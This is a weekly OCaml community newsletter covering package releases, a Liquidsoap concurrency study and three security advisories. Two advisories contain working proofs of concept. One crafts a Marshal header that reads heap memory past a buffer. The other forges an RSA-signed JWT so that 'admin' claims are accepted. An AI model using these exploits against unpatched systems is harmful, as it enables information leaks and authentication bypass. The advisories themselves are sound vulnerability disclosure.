OCaml Weekly News
Hello
Here is the latest OCaml Weekly News, for the week of September 08 to 15, 2026.
Table of Contents
- opam 2.6.0~alpha1
- tiny_httpd 0.22
- Owebview 0.1 — native desktop windows with a web UI, from OCaml
- OSEC-2026-18: Marshal integer overflow leads to out-of-heap read
- OSEC-2026-19: JOSE missing RSA signature verification
- OSEC-2026-20: Cstruct indexing bugs can corrupt filtered output and reverse parsing results
- Dune Package Management Support in VSCode
- Liquidsoap 2.5.x: a practical study of OCaml 5.x concurrency
- OCaml Public Security Meeting
- dead_code_analyzer 1.2.1 and 1.3.0
- Old CWN
opam 2.6.0~alpha1
Continuing this thread, Kate announced
Hi again,
The first release candidate (2.6.0~rc1) is here. If all goes well this should be the last pre-release before the stable release of 2.6.0. Please tell us if you notice any regression.
Main changes compared to 2.6.0~beta2
:hourglass_done: The main change is another performance regression fix compared to opam 2.5, where packages coming from http repositories (such as the default opam.ocaml.org) were slower to install due to unnecessary reads of the repository database (#7131)
:open_book: You can read our blog post for more information about these changes and more, and for even more details you can take a look at the release note or the changelog.
Try it!
The upgrade instructions are unchanged:
For Unix systems
bash -c "sh <(curl -fsSL https://opam.ocaml.org/install.sh) --version 2.6.0~rc1"
or from PowerShell for Windows systems
Invoke-Expression "& { $(Invoke-RestMethod https://opam.ocaml.org/install.ps1) } -Version 2.6.0~rc1"
Please report any issues to the bug-tracker.
Happy hacking, <> <> The opam team <> <> :camel:
tiny_httpd 0.22
Simon Cruanes announced
Hi, I'm sedately excited to release tiny_httpd 0.22.
Tiny_httpd is a HTTP 1.1 server, with basic support for websockets, SSE, and pluggable IO/concurrency (as long as it's direct style). The goal is to keep it reasonably simple and light on dependencies; despite that it has been working just fine™ since 2019. This is mostly a bugfix release (I'll suggestively wave my eyebrows as for where the bug reports came from).
Owebview 0.1 — native desktop windows with a web UI, from OCaml
Archive: https://discuss.ocaml.org/t/ann-owebview-0-1-native-desktop-windows-with-a-web-ui-from-ocaml/18521/1
Korkorran announced
Hi everyone,
I'm happy to announce the first release of Owebview, OCaml bindings to webview. It means an embedded web rendering engine in your OCaml apps. It is now available on opam:
opam install owebview
Owebview opens a native window backed by the operating system's own web engine — WebKit on macOS, WebKitGTK on Linux, WebView2 on Windows — and lets you drive it from OCaml. No Electron, no bundler, no packaged browser: a single executable and some HTML.
You can find a blog post about why Owebview is a solution for your OCaml GUIs.
An example windows with the three.js library
Native dependencies
The system web engine, and nothing else:
- macOS — WebKit / Cocoa, already part of the system. Nothing to install.
- Linux —
gtk+-3.0andwebkit2gtk-4.1, pulled in by theconf-gtk3-webkitopam package (published alongside this release), soopam installresolves the depexts for your distribution. - Windows — the WebView2 runtime ships with Windows 10 and 11; the SDK headers are located through the NuGet cache at build time (
nuget install Microsoft.Web.WebView2).
The webview header itself is vendored, so nothing is fetched at build time, and the platform compile/link flags are detected by a dune-configurator script.
Examples
The repository ships several runnable examples:
dune exec examples/hellowv/hellowv.exe # bindings, assets, Dock icon dune exec examples/timer/timer_posix.exe # threads + dispatch dune exec examples/timer/timer_lwt.exe # the same, driven by Lwt dune exec examples/d3/d3.exe # a D3.js chart dune exec examples/three/three.exe # WebGL via three.js dune exec examples/js_of_ocaml/hellowv.exe # frontend written in OCaml too
The last one is worth a look if you like the idea of one language end to end: the page's logic is written with Brr and compiled by js_of_ocaml, so both sides of the bridge are OCaml.
Tutorial
There is a six-step tutorial that builds up from a first window to a full application: on-disk assets, the JS ↔ OCaml bridge, an asynchronous backend with Lwt, a 100% OCaml frontend, and the platform details of application icons.
Design notes
This is a thin binding, deliberately. It stays close to the C API and leaves higher-level conveniences to the caller — in particular, binding arguments and results are exchanged as JSON text, and choosing a JSON library is up to you.
Feedback wanted, especially on Linux
Owebview has been tested on macOS, Windows, Fedora, Ubuntu.
Reports about building and running it on others Linux distributions would be particularly valuable: does it compile, do the depexts resolve, does the webkit2gtk-4.1 backend behave as expected on your distro, and how does the Dock icon story go on your desktop environment? Windows reports are welcome too.
If you are interested in this library, please email me at my address frederic.ln.lang@gmail.com.
- Repository — https://github.com/korkorran/Owebview
- Documentation — https://korkorran.github.io/Owebview
- Issues — https://github.com/korkorran/Owebview/issues
- License — MIT
Special thanks to @Chimrod for his contribution in this release.
Happy hacking!
OSEC-2026-18: Marshal integer overflow leads to out-of-heap read
Hannes Mehnert announced
Dear everyone,
a new advisory was published for the OCaml runtime. Below is the advisory, you can as well find it at https://github.com/ocaml/security-advisories and https://osv.dev/list?q=&ecosystem=opam
Best,
Hannes
id: OSEC-2026-18
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
severity_score: "6.8"
affected: "ocaml" {< "5.5.1"}
events: [
[
git "https://github.com/ocaml/ocaml" [
[fixed "928e7c8a950db8730e8e84105d3be347cae38f5c"]
]
]
[
git "https://github.com/ocaml/ocaml" [
[fixed "304654884d0c90b2e4ab673ff88caef38b05c714"]
]
]
[
git "https://github.com/ocaml/ocaml" [
[fixed "428288660cc1f655605347e09e2fbc0b0a404660"]
]
]
]
credits: [
[reporter "Akshay M Singh"]
[remediation_developer "Xavier Leroy"]
[remediation_reviewer "Nicolás Ojeda Bär"]
[remediation_reviewer "Antonin Décimo"]
[coordinator "Hannes Mehnert"]
]
cwe: [ CWE-190 CWE-125 ]
aliases: [ CVE-2026-28364 ]
references: [
[fix "https://github.com/ocaml/ocaml/pull/15019"]
[fix "https://github.com/ocaml/ocaml/pull/15030"]
]
related: [ OSEC-2026-01 ]
Marshal integer overflow leads to out-of-heap read
An integer overflow in the length-validation logic of OCaml's Marshal
deserializer allows a crafted serialized object to bypass all bounds
checks added by the CVE-2026-28364 fix, producing heap out-of-bounds
reads from Marshal.from_bytes / Marshal.from_string (and the C API
caml_input_value_from_block).
Root cause
runtime/intern.c validates declared data length against the input
buffer with unsigned 64-bit addition that can wrap:
/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
caml_failwith("input_val_from_string: bad length");
h.data_len is fully attacker-controlled (8-byte field read straight
from the stream for Intext_magic_number_big). With data_len >= 2^64 -
(ofs + h.header_len), the sum wraps to a small value and the check passes.
The CVE-2026-28364 fix introduced:
/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len; /* wraps to a pointer
BEFORE the buffer */
intern_src_end wraps to a location before intern_src, so every
intern_check_read() bound added by the fix (len > end - src with a
negative diff promoted to a huge uintnat) evaluates false for any
realistic length. The parser (intern_rec) then honors
attacker-controlled read lengths (readblock up to Max_wosize bytes)
against memory far beyond the input buffer.
The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by
the same wrap, via caml_marshal_data_size (intern.c:1116-1150):
return Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */
Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first,
gets a wrapped len (0 or negative), and its re-check ofs >
Bytes.length buff - (header_size + len) passes.
The same unchecked wrap exists in caml_input_value_from_buffer
(intern.c:1080), used by the public C API caml_input_value_from_block
and caml_input_value_from_malloc - these have no OCaml-side validation
at all.
Exploit path
- Craft 32-byte header:
Intext_magic_number_big+ 4 padding bytes +data_len = 2^64 - 16+num_objects = 0+whsize = 0. - Append a valid object code byte stream (e.g., a "small string" code
0x3F= 31 bytes, orCODE_STRING32with an arbitrary length). - Call
Marshal.from_bytes buf 0(orMarshal.from_string). data_size_unsafereturns 0; OCaml-side check passes.- C-side check
0 + 32 + (2^64-16) = 16 > lenpasses (wrapped). intern_src_endwraps tobuf + 16; allintern_check_readpass.intern_recexecutesreadblock(s, dest, len)with attacker-chosenlen,memcpy-ing heap memory past the buffer end into the returned string (info leak), or a hugelen(SIGBUS/SIGSEGV, DoS).
Proof of concept
Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.
- 1. Heap information disclosure (clean, no crash)
let () = let buf = Bytes.create 40 in Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95); Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf); for i = 4 to 7 do Bytes.set buf i '\000' done; for i = 8 to 15 do Bytes.set buf i '\xff' done; Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *) for i = 16 to 31 do Bytes.set buf i '\000' done; (* num_objects = whsize = 0 *) Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *) for i = 33 to 39 do Bytes.set buf i 'A' done; (* only 7 real bytes follow *) let s : string = Marshal.from_bytes buf 0 in Printf.printf "len=%d content=%S\n" (String.length s) sOutput (24 bytes past the 40-byte buffer leaked into the returned string):
len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"
- 2. Denial of service (crash)
Same header; stream byte 32 =
0x0A(CODE_STRING32), big-endian0x40000000(1 GB) length, 37-byte buffer:$ ./crash; echo "exit=$?" exit=138 (128 + SIGBUS)
Timeline
- 2026-08-15: report to security@ocaml.org
- 2026-08-25: patch developed
- 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches
- 2026-09-05: release of OCaml 5.5.1
- 2026-09-10: advisory published
OSEC-2026-19: JOSE missing RSA signature verification
Hannes Mehnert announced
Dear everyone,
a new advisory was published for the jose package. Below is the advisory, you can as well find it at https://github.com/ocaml/security-advisories and https://osv.dev/list?q=&ecosystem=opam
Best,
Hannes
id: OSEC-2026-19
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
severity_score: "9.1 (Critical)"
affected: "jose" {< "0.11.0"}
events: [
[
git "https://github.com/ulrikstrid/ocaml-jose" [
[fixed "cf17d991ec6a0d1997956b6c7799890f9c28879e"]
]
]
]
credits: [
[reporter "Sergey Zhukaev"]
[coordinator "Hannes Mehnert"]
[coordinator "Konstantin Olkhovskiy"]
[remediation_developer "Ulrik Strid"]
]
cwe: [ CWE-347 ]
JOSE: missing RSA signature verification
The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.
Reproduction
With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:
let () = Mirage_crypto_rng_unix.use_default ()
let key =
Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())
let sign sub =
Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
|> Result.get_ok |> Jose.Jwt.to_string
let seg n token = List.nth (String.split_on_char '.' token) n
let alice = sign "alice" and admin = sign "admin"
(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]
match
Jose.Jwt.unsafe_of_string forged
|> Result.get_ok
|> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key)
~now:(Ptime_clock.now ())
with
| Ok t ->
print_endline
("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
| Error _ -> print_endline "rejected"
The dune file:
(executable (name repro) (libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
This prints "accepted, sub = admin".
Workaround
There is no workaround known.
Timeline
- 2026-08-25: private report via email to the authors of jose
- 2026-08-25: fix published to repository
- 2026-08-31: mail escalated to security@ocaml.org
- 2026-09-04: released jose 0.11.0
- 2026-09-10: published advisory
OSEC-2026-20: Cstruct indexing bugs can corrupt filtered output and reverse parsing results
Hannes Mehnert announced
Dear everyone,
a new advisory was published for the cstruct package. Below is the advisory, you can as well find it at https://github.com/ocaml/security-advisories and https://osv.dev/list?q=&ecosystem=opam
Best,
Hannes
id: OSEC-2026-20
modified: "2026-09-10T10:00:00Z"
published: "2026-09-10T10:00:00Z"
severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
severity_score: "7.3 (High)"
affected: "cstruct" {< "6.3.0"}
events: [
[
git "https://github.com/mirage/ocaml-cstruct" [
[fixed "936f1010d3e9914da9c5c8a4739e9278a37e1c3e"]
]
]
]
credits: [
[reporter "Anil Madhavapeddy"]
[remediation_reviewer "Thomas Gazagnaire"]
[remediation_developer "Anil Madhavapeddy"]
]
references: [
[fix "https://github.com/mirage/ocaml-cstruct/pull/324"]
]
cwe: [ CWE-682 ]
affected_bindings: [ "Cstruct.filter_map" "Cstruct.tail" "Cstruct.cuts"
"Cstruct.find" "Cstruct.find_rev" ]
Cstruct indexing bugs can corrupt filtered output and reverse parsing results
Several functions in cstruct may use wrong data, leading to unexpected exceptions and return corrupted data.
Impact
Cstruct.filter_mapwrites retained bytes at their original input positions, producing corrupted output when earlier bytes are dropped.Cstruct.tail ~rev:trueremoves two bytes instead of one and raises an exception for single-byte views.Cstruct.cuts ~rev:truemay compare input against the wrong data, split at incorrect positions, and construct results using offsets outside the requested view.Cstruct.findandCstruct.find_sub ~rev:truemay return slices from the wrong location when operating on non-zero-offset views.
These are a set of logical indexing and bounds-calculation errors (CWE-682), and not direct memory-safety vulnerabilities. However, affected operations may return corrupted data, raise an unexpected exception, split input incorrectly, or return bytes outside the requested Cstruct view but still within its backing buffer.
In security-sensitive parsers, this could cause validation bypasses, denial of service, or unintended disclosure of adjacent buffer contents.
Workarounds
Users unable to upgrade cstruct should backport the corresponding source changes. There is no configuration-based mitigation since these are buggy library calls.
References
Discovered via Scrutineer and Deepseek GLM-5.3 Flash running locally.
Timeline
- 2026-09-04: reported via GitHub to ocaml/security-advisories repository
- 2026-09-05: reported via email to security@ocaml.org
- 2026-09-05: patch proposed and reviewed
- 2026-09-05: release cstruct 6.3.0
- 2026-09-10: published advisory
Dune Package Management Support in VSCode
PizieDust announced
We are happy to announce improvements to the OCaml VSCode Extension relating to Dune Package Management (DPM). This update includes several bug fixes and quality-of-life improvements. In this new update: to activate DPM as a sandbox:
- First, select "Dune Package Management" from the sandbox list.
- Then a list of dune binaries installed on your computer is displayed to you. Once you select a dune binary, DPM becomes activated for your project.
DPM initializes ocaml-lsp-server for you in the background once it is activated and the extension has helpful suggestions, such as asking you to "lock" your project if you haven't enabled DPM yet. (Enabling DPM can be done either in the dune-workspace file, or by running dune pkg lock).
Once both are done, things work nicely.
Notes:
- Other features supported by opam sandboxes such as listing installed dependencies, upgrading and uninstalling packages are not yet supported for DPM.
- If you run dune in watch mode or you run a long-lasting dune command, then DPM on VSCode will not work reliably as the dune build directory will be locked until the currently running process terminates.
You can see more about the changes we have done on the project board. This work was achieved by Pixie Dust, Timéo Arnouts, Ulysse Gerard, Sonja Heinze, Shon Feder, Ali Caglayan, and Sudha Parimala.
Liquidsoap 2.5.x: a practical study of OCaml 5.x concurrency
Archive: https://discuss.ocaml.org/t/liquidsoap-2-5-x-a-practical-study-of-ocaml-5-x-concurrency/18525/1
Romain Beauxis announced
[Full disclosure: some of the code and content linked below was done with the help of automated tools. This post is not.]
After a few years holding off on it, it was finally time to do the migration to OCaml 5 for the liquidsoap project! The excellent work done to tame OCaml 5 GC pacing gave us confidence that our memory issues should be in the past now.
The main motivation, for us, is a rather unconventional (I believe) way to use effects: to collect globally the result of local operations happening while liquidsoap scripts are executed. This is detailed here.
Once the switch to OCaml 5 was done, it was time to measure the benefits! The particular standpoint of liquidsoap is that it does both I/O- and CPU-intensive processing: I/O for networking and on-disk operations and CPU for media encoding and decoding. So this was a good opportunity to test both sides!
The first blog post has a lot of details on this topic including how we were finally able to lift our scheduler (named duppy) to take full advantage of its event loop. A decade after the initial design (which is very similar to node/libev), it was nice to see it finally be confirmed for I/O workflows.
For CPU-bound workflow, however, the initial experiments were focused on very heavy video processing, where media computations, mostly done outside of OCaml, dominate so this didn't yield anything too exciting.
The situation is also interesting with Liquidsoap because it runs a real-time streaming loop so, all the advantage of multi-core super fast processing are kinda lost since you have to wait sometimes 70% of the time to avoid getting ahead of time..
However, thinking about it more deeply, a good use-case would, in contrast, be a situation where one audio encoding is shared by multiple sources. Audio encoding is already much less compute-heavy and, when shared, concurrency happening at the OCaml level starts being much more relevant.
This was confirmed in a second blog post. We converted all our clocks (the abstractions responsible for producing content in real-time) from system threads to duppy, domain-backed tasks and.. voila! Finally we were able to see some real benefit:
This shows that, with multi core ocaml supporting those audio streams, we're able to double the number of streams a single process can support before being too slow to generate data real time.
Another interesting graph is then the number of context switches between threads and domain implementations:
Full details:
OCaml Public Security Meeting
Hannes Mehnert announced
Dear everyone,
on Tuesday Sep 15th at 14:00 CEST we have another public security meeting. It will take place at https://meet.bornhack.dk/OCamlSecurityPublicMeeting
We will introduce ourselves, and are happy to discuss the topics you bring there. Find a preliminary agenda (at the moment it is empty) at https://pad.data.coop/9DSTtGNnQyyehnJY_k-OHA
See you there,
Hannes & the security team
dead_code_analyzer 1.2.1 and 1.3.0
fantazio announced
Hello everyone,
I am happy to announce 2 releases of the dead_code_analyzer (available via opam) :
- Release 1.2.1 includes a collection of bug fixes and strengthens semantics. This release is compatible with OCaml 5.3.
- Release 1.3.0 is an update of 1.2.1, which extends the support to the range OCaml 4.14 - 5.5. There are a few known result inconsistencies between OCaml <= 5.2 and >= 5.3, tracked in this issue. They mostly affect the optional arguments sections. Because OCaml 4.14 is supported by this release 1.3.0, the dedicated branch that was available on my fork will be deleted.
Thanks to David Maison, @sim642, @kit-ty-kate, and @nojb for their contributions, reviews, and feedback. Thanks to LexiFi for its funding!
If you have used/use the dead_code_analyzer, I would love to hear about your experience and usage. Feel free to post here, send me a DM, or an email at corentin@fantazio.eu. It would help prioritize future developments and I might summarise the feedback in an article, a presentation or the documentation.
If you encounter any issue with these releases, please report it on the github repository. Feedback and contributions are welcome.
Old CWN
If you happen to miss a CWN, you can send me a message and I'll mail it to you, or go take a look at the archive or the RSS feed of the archives.
If you also wish to receive it every week by mail, you may subscribe to the caml-list.